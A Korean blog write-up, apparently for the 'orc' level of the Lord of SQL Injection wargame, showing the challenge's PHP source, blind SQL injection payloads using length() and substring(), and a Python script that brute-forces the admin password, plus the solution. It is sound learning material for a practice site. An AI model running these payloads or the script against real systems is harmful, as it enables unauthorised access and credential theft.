본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] orc 풀이 (작성 중)

by yenua 2022. 6. 10.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

오크는 라틴어로 악마 혹은 지하 세계의 생물을 가리키는 말이다. - 위키백과

오늘 사진은 좀 멋있는 것 같다.

 

 

이번에는 los의 오크를 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

이번에는 id는 admin으로 고정인데 이전의 방식들을 통해 로그인 자체는 가능하지만, pw를 정확하게 알아내어 입력하여야 solve 함수를 실행할 수 있다. admin으로 로그인이 가능하다는 점을 이용해서 blind SQL Injection을 시도할 수 있을 것 같다.

 

pw: ' or len(pw)=--+ 로 시도해보았는데 길이가 10을 넘어가도 hello admin이 뜨지 않았다..

찾아보니 mariaDB에서는 문자의 길이를 나타내는 함수가 length()라고 한다...

MariaDB / 함수 / SUBSTRING, SUBSTRING_INDEX / 문자열 추출하는 함수

다음에는 주석 종류로 무슨 DB인지 추측해서 그때그때 해당 DB 문법을 검색해보고 써야겠다.

 

아래와 같은 과정을 통해 비밀번호를 찾아낼 수 있다.

1. 비밀번호 길이 찾기

pw: ' or length(pw)=8--+

url: ?pw=%27%20or%20length(pw)=8--+

query : select id from prob_orc where id='admin' and pw='' or length(pw)=8-- '

2. 비밀번호 찾기

길이를 찾았으니 비밀번호 한 글자 한글자를 잘라서 무슨 글자인지 대입시켜보면 된다.

보통은 substr인데 mariaDB에서는 substring() 로 쓴다고 한다.

MariaDB / 함수 / SUBSTRING, SUBSTRING_INDEX / 문자열 추출하는 함수

 

substring()은 아래와 같이 쓸 수 있다.

substring(자를 문자열, 자르기 시작할 위치, 얼마나 자를 건지)

적용한 것은 아래와 같다.

pw: ' or substring(pw,1,1)='0'--+

url: ?pw=%27%20or%20substring(pw,1,1)=%270%27--+

query : select id from prob_orc where id='admin' and pw='' or substring(pw,1,1)='0'-- '

substring(pw,1,1)는 pw의 맨 첫글자를 한글자만 잘라오겠다는 것이다. 위의 쿼리문이 참이므로, pw의 첫번째 글자는 0이 된다.

 

사실 비밀번호 찾는 것은 파이썬으로 다 했다. 그 코드는 아래와 같다.

import requests
import time

URL="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"

cookie={
    "PHPSESSID":"쿠키 값"
    }

password = ''
start = time.time()
for i in range(8):
    print(i, end=' ')
    for j in range(32, 127):
        url = URL+"?pw=%27%20or%20substring(pw,{},1)=%27{}%27--+".format(i+1, chr(j))
        res = requests.get(url, cookies=cookie)
        #print(i, j, res.text)
        if "Hello admin" in res.text:
            print("found!:{} : {}".format(i, chr(j)))
            print(res.text)
            password += chr(j)
            #break

end = time.time()
print(end - start)

쿠키값에 현재 쿠키값을 넣고 돌리면 된다. 4번째 글자까진 잘 찾는데, 5번째 글자부터는 특수기호 이슈로 잘 못찾아서 break 문에 주석을 걸어줬다. 

 

비밀번호는 095A9852 이다. 095a9852 였다..!

pw: 095A9852

url: ?pw=095A9852

query : select id from prob_orc where id='admin' and pw='' or substring(pw,1,1)='0'-- '

로 입력하면 로그인만 된다...

 

1~4번째 글짜쪽에서도 break에 주석을 걸어두니 이상한 글자들도 대소문자 구분없이 막 나오는데 이유를 모르겠다;

이건 시간 여유 있을 때 다시 찾아봐야 될 것 같다.

 

+) 생각해보니 and, or 연산 중에 admin에 대한 조건이 사라져서 guest에 대한 비밀번호도 나온게 아닐까 싶다..! 아직 가설일 뿐이지만..

 

대소문자 구분을 안한다는 말은 본적 없었는데.. 혹시 몰라 A를 a로 입력하니 일단 통과되었다..!

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] darkelf 풀이  (0) 2022.06.11
[Los] wolfman 풀이  (0) 2022.06.11
[Los] goblin 풀이  (1) 2022.06.09
[Los] cobolt 풀이  (0) 2022.06.08
[Los] gremlin 풀이  (0) 2022.06.08